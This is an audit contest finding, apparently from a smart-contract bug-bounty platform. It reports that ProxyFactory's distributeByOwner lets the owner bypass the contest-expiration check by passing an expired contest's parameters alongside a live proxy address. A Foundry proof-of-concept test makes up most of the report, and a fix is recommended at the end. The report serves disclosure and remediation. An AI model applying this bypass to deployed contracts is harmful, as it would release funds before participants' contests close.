Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

ProxyFactory::distributeByOwner can be executed before the contest expiration

Summary

There is no check that proxy address passed to distributeByOwner function corresponds to organizer, contestId, and implementation. If the ProxyFactory contract has at least one expired contest the owner can use organizer, contestId, and implementation from it to pass expiration check at the same time providing proxy address of the current contest to execute distribution immediately.

Vulnerability Details

The test below illustrates how the owner can successfully call distributeByOwner before the contest expiration.

function testShouldRevertIfClosetimeIsNotReadyDistributeByOwner()
public
setUpContestForJasonAndSentJpycv2Token(organizer)
{
// NOTE: create an arbitrary expired contest with different contestId, organizer, etc.
bytes32 expiredContestId = keccak256(abi.encode("NotJason", "001"));
address organizerOfTheExpiredContest = address(42);
vm.startPrank(factoryAdmin);
proxyFactory.setContest(organizerOfTheExpiredContest, expiredContestId, block.timestamp + 7 days, address(distributor));
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(organizerOfTheExpiredContest, expiredContestId, address(distributor)));
address proxyOfTheExpiredContest = proxyFactory.getProxyAddress(salt, address(distributor));
// prepare for data
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
bytes memory data = createData();
// owner deploy and distribute
vm.warp(9 days);
vm.startPrank(organizer);
address proxyAddress = proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), data);
vm.stopPrank();
// NOTE: proxyAddress != proxyOfTheExpiredContest
assertNotEq(proxyAddress, proxyOfTheExpiredContest);
// sponsor send token to proxy by mistake
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress, 10000 ether);
vm.stopPrank();
// create data to send the token to admin
bytes memory dataToSendToAdmin = createDataToSendToAdmin();
// 15 days is the edge of close time, after that tx can go through
vm.warp(15 days);
vm.startPrank(factoryAdmin);
vm.expectRevert(ProxyFactory.ProxyFactory__ContestIsNotExpired.selector);
proxyFactory.distributeByOwner(proxyAddress, organizer, randomId_, address(distributor), dataToSendToAdmin);
vm.expectRevert(ProxyFactory.ProxyFactory__ContestIsNotExpired.selector);
// NOTE: we use organizer, contestId, and implementation from expired contest but provide proxy and data for the current contest
// This call doesn't revert as expected
proxyFactory.distributeByOwner(proxyAddress, organizerOfTheExpiredContest, expiredContestId, address(distributor), dataToSendToAdmin);
vm.stopPrank();
}

Impact

The owner can distribute stuck funds before the contest expiration.

Tools Used

Manual Review

Recommendations

Derive proxy using getProxyAddress function instead of passing it through arguments.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.